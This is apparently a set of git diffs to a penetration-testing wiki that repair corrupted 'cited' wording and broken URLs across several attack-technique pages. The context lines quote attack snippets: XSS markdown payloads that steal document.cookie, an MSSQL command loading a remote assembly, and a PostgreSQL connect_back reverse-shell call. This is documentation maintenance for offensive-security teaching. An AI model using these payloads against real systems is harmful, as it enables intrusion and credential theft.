ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index bcc49884338..12c86bc07c3 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -676,7 +676,7 @@ See [MSSQL user-defined function SQLHttp](../../pentesting-web/sql-injection/mss ### RCE with `autoadmin_task_agents` -According to the d research, some vulnerable/privileged configurations can load a remote assembly through `autoadmin_task_agents`. This is version- and component-specific; verify that the internal table and Smart Admin task loader exist before treating it as a general SQL Server primitive.[[18]](#references) +According to the cited research, some vulnerable/privileged configurations can load a remote assembly through `autoadmin_task_agents`. This is version- and component-specific; verify that the internal table and Smart Admin task loader exist before treating it as a general SQL Server primitive.[[18]](#references) ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; diff --git a/src/network-services-pentesting/pentesting-sap.md b/src/network-services-pentesting/pentesting-sap.md index 3796b7e56eb..b959fb62db4 100644 --- a/src/network-services-pentesting/pentesting-sap.md +++ b/src/network-services-pentesting/pentesting-sap.md @@ -350,7 +350,7 @@ Matching Modules ### Legacy SAP AS Java UME password hashes -With authorized database access to a legacy SAP AS Java system, inspect the User Management Engine (UME) storage for password records. The d research queried `UME_STRINGS` by its `PID` and `VAL` fields and documented values carrying metadata such as `{SHA-512, 10000, 24}`. Treat the schema and hash format as version-specific, and perform any offline password audit only within the approved scope.[[12]](#references) +With authorized database access to a legacy SAP AS Java system, inspect the User Management Engine (UME) storage for password records. The cited research queried `UME_STRINGS` by its `PID` and `VAL` fields and documented values carrying metadata such as `{SHA-512, 10000, 24}`. Treat the schema and hash format as version-specific, and perform any offline password audit only within the approved scope.[[12]](#references) - Test applicable known exploits (check Exploit-DB), including the old but noteworthy “SAP ConfigServlet Remote Code Execution” attack against SAP Portal: diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md index 82f221523bb..21e26f184b4 100644 --- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -3,7 +3,7 @@ {{#include ../../banners/hacktricks-training.md}} ## Overview -This page summarizes practical techniques for exercising and fuzzing the Linux in-kernel SMB server (ksmbd) with syzkaller. It focuses on expanding the protocol attack surface through configuration, building a stateful harness capable of chaining SMB2 operations, generating grammar-valid PDUs, biasing mutations toward weakly covered code paths, and using syzkaller features such as `focus_areas` and `ANYBLOB`. The d research enumerates specific CVEs; this page emphasizes the reusable methodology and concrete snippets that can be adapted to a lab.[[1]](#references)[[2]](#references) +This page summarizes practical techniques for exercising and fuzzing the Linux in-kernel SMB server (ksmbd) with syzkaller. It focuses on expanding the protocol attack surface through configuration, building a stateful harness capable of chaining SMB2 operations, generating grammar-valid PDUs, biasing mutations toward weakly covered code paths, and using syzkaller features such as `focus_areas` and `ANYBLOB`. The cited research enumerates specific CVEs; this page emphasizes the reusable methodology and concrete snippets that can be adapted to a lab.[[1]](#references)[[2]](#references) Target scope: SMB2/SMB3 over TCP. Kerberos and RDMA are intentionally out-of-scope to keep the harness simple. @@ -286,7 +286,7 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b ## Throughput and Parallelism Notes - A single fuzzer process (shared auth/state) tends to be significantly more stable for ksmbd and still surfaces races/UAFs thanks to syzkaller’s internal async executor. -- The d setup reached hundreds of SMB commands per second across multiple VMs and reported function-level coverage around 60% of `fs/smb/server` and 70% of `smb2pdu.c`. Treat these as environment-specific observations, not expected guarantees; function coverage also under-represents state-transition coverage.[[1]](#references) +- The cited setup reached hundreds of SMB commands per second across multiple VMs and reported function-level coverage around 60% of `fs/smb/server` and 70% of `smb2pdu.c`. Treat these as environment-specific observations, not expected guarantees; function coverage also under-represents state-transition coverage.[[1]](#references) --- diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md b/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md index c8ff71a67a1..2fc6d059b99 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md @@ -105,7 +105,7 @@ Add the generated public key into your manifest.json to lock the ID: ## Forging Preferences integrity MACs (core bypass) -Chromium protects preferences with HMAC-SHA256 over `path` plus the serialized JSON value of each node. The HMAC seed is embedded in the browser's `resources.pak` and was still usable through Chromium 139 in the d research.[[1]](#references)[[3]](#references) +Chromium protects preferences with HMAC-SHA256 over `path` plus the serialized JSON value of each node. The HMAC seed is embedded in the browser's `resources.pak` and was still usable through Chromium 139 in the cited research.[[1]](#references)[[3]](#references) Extract the seed with GRIT pak_util[[2]](#references) and locate the seed container (file id 146 in tested builds): diff --git a/src/pentesting-web/h2c-smuggling.md b/src/pentesting-web/h2c-smuggling.md index 1d7623d97fe..c82737d0392 100644 --- a/src/pentesting-web/h2c-smuggling.md +++ b/src/pentesting-web/h2c-smuggling.md @@ -20,7 +20,7 @@ The vulnerability arises when, after upgrading a connection, the reverse proxy c #### Vulnerable Proxies -The vulnerability depends on how the reverse proxy handles `Upgrade` and `Connection`. The d research found the following proxies forwarded the relevant headers by default in the tested configurations:[[1]](#references)[[2]](#references) +The vulnerability depends on how the reverse proxy handles `Upgrade` and `Connection`. The cited research found the following proxies forwarded the relevant headers by default in the tested configurations:[[1]](#references)[[2]](#references) - HAProxy - Traefik @@ -60,7 +60,7 @@ In this scenario, a backend that offers a public WebSocket API alongside an inac 2. The backend responds with a status code `426`, indicating the incorrect protocol version in the `Sec-WebSocket-Version` header. The reverse proxy, overlooking the backend's response status, assumes readiness for WebSocket communication and relays the response to the client. 3. Consequently, the reverse proxy is misled into believing a WebSocket connection has been established between the client and backend, while in reality, the backend had rejected the Upgrade request. Despite this, the proxy maintains an open TCP or TLS connection between the client and backend, allowing the client unrestricted access to the private REST API through this connection. -The d research reproduced this scenario with Varnish and Envoy 1.8.0; later Envoy versions changed the upgrade mechanism. Test other proxies rather than assuming that they share the same behavior.[[3]](#references) +The cited research reproduced this scenario with Varnish and Envoy 1.8.0; later Envoy versions changed the upgrade mechanism. Test other proxies rather than assuming that they share the same behavior.[[3]](#references) ![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png) diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md index f087f6962a8..17fb9ce6088 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md @@ -357,6 +357,6 @@ print(" drop function connect_back(text, integer);") - [2] [Having Fun With PostgreSQL](https://www.exploit-db.com/papers/13084) - [3] [PostgreSQL documentation - C-Language Functions](https://www.postgresql.org/docs/current/static/xfunc-c.html) - [4] [Windows DLL to Shell PostgreSQL Servers](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) -- [5] [SQL Injection Double Uppercut :: How to Achieve Remote Code Execution against PostgreSQL](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html) +- [5] [SQL Injection Double Uppercut :: How to Achieve Remote Code Execution against PostgreSQL](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md index b88fc1a96e5..302de220ccc 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/README.md +++ b/src/pentesting-web/ssti-server-side-template-injection/README.md @@ -877,7 +877,7 @@ Some workflow builders evaluate user-controlled expressions inside Node sandboxe **More information** -- Slim uses the same Ruby SSTI payload collection d for ERB above; adapt the delimiters to the Slim rendering context. +- Slim uses the same Ruby SSTI payload collection cited for ERB above; adapt the delimiters to the Slim rendering context. ### Other Ruby diff --git a/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md b/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md index dceebba63f5..674dc67ba57 100644 --- a/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md +++ b/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md @@ -4,7 +4,7 @@ ## Leak Script Content by Interpreting It as UTF-16 -If a `text/plain` response lacks the `X-Content-Type-Options: nosniff` header, a browser may accept it as a script. In the d challenge, an attacker-controlled prefix supplies a UTF-16 byte-order mark and valid JavaScript bytes. The remaining secret is then decoded as valid identifier characters, allowing the script to expose it through a property of `window`.[[1]](#references) +If a `text/plain` response lacks the `X-Content-Type-Options: nosniff` header, a browser may accept it as a script. In the cited challenge, an attacker-controlled prefix supplies a UTF-16 byte-order mark and valid JavaScript bytes. The remaining secret is then decoded as valid identifier characters, allowing the script to expose it through a property of `window`.[[1]](#references) ## Leak Content by Treating It as an ICO Image diff --git a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md index 539abe8a1ce..fc655b7d530 100644 --- a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md +++ b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md @@ -138,7 +138,7 @@ Fuzzing examples from [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [a](javascript:alert('XSS')) ![a'"`onerror=prompt(document.cookie)](x)\ -[lol]: (javascript:prompt(document.cookie)) +[citelol]: (javascript:prompt(document.cookie)) [notmalicious](javascript:window.onerror=alert;throw%20document.cookie) [test](javascript://%0d%0aprompt(1)) [test](javascript://%0d%0aprompt(1);com) diff --git a/src/windows-hardening/active-directory-methodology/kerberoast.md b/src/windows-hardening/active-directory-methodology/kerberoast.md index 1b1b54fbb40..3cd1809ad7e 100644 --- a/src/windows-hardening/active-directory-methodology/kerberoast.md +++ b/src/windows-hardening/active-directory-methodology/kerberoast.md @@ -27,7 +27,7 @@ Many services still run under user accounts with hand-managed passwords. The KDC | AES + PBKDF2 | PBKDF2-HMAC-SHA1 with 4,096 iterations and a per-principal salt generated from the domain + SPN | etype 17/18 (`$krb5tgs$17$`, `$krb5tgs$18$`) | ~6.8 million guesses/s | Salt blocks rainbow tables but still allows fast cracking of short passwords. | | RC4 + NT hash | Single MD4 of the password (unsalted NT hash); Kerberos only mixes in an 8-byte confounder per ticket | etype 23 (`$krb5tgs$23$`) | ~4.18 **billion** guesses/s | ~1000× faster than AES; attackers force RC4 whenever `msDS-SupportedEncryptionTypes` permits it. | -*Benchmarks from Chick3nman as d in [Matthew Green's Kerberoasting analysis](https://blog.cryptographyengineering.com/2025/09/10/kerberoasting/).[[3]](#references) +*Benchmarks from Chick3nman as cited in [Matthew Green's Kerberoasting analysis](https://blog.cryptographyengineering.com/2025/09/10/kerberoasting/).[[3]](#references) RC4’s confounder only randomizes the keystream; it does not add work per guess. Unless service accounts rely on random secrets (gMSA/dMSA, machine accounts, or vault-managed strings), compromise speed is purely GPU budget. Enforcing AES-only etypes removes the billion-guesses-per-second downgrade, but weak human passwords still fall to PBKDF2.[[3]](#references) diff --git a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md index a1e16221e46..f3eea43e465 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md +++ b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -This historical Hack The Box chain used WiX Toolset v3 to build an MSI that launched a previously planted `.lnk` file. **An MSI is not automatically privileged**: execution occurs in the context selected by Windows Installer policy, the custom-action attributes, and whoever installs it. In the d scenario, the attacker also stole a trusted signing CA and placed the signed MSI in a folder watched by another user.[[1]](#references)[[3]](#references) +This historical Hack The Box chain used WiX Toolset v3 to build an MSI that launched a previously planted `.lnk` file. **An MSI is not automatically privileged**: execution occurs in the context selected by Windows Installer policy, the custom-action attributes, and whoever installs it. In the cited scenario, the attacker also stole a trusted signing CA and placed the signed MSI in a folder watched by another user.[[1]](#references)[[3]](#references) For a comprehensive understanding of wix MSI usage examples, it is advisable to consult [this page](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Here, you can find various examples that demonstrate the usage of wix MSI.[[2]](#references) From 92b823b4fbef5d11bce44ad1990525aa782a16d0 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Sat, 15 Aug 2026 11:37:49 +0200 Subject: [PATCH 3/3] Restore URLs corrupted by citation cleanup --- .../postgresql-injection/rce-with-postgresql-extensions.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md index 17fb9ce6088..3a241e0a5b7 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md @@ -309,8 +309,8 @@ select connect_back('192.168.100.54', 1234); _Note that you don't need to append the `.dll` extension as the create function will add it._ -For more information **read the**[ **original publication here**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**[[5]](#references)\ -In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\ +For more information **read the**[ **original publication here**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**[[5]](#references)\ +In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\ In the same page this **exploit to automate** this technique was given:[[5]](#references) ```python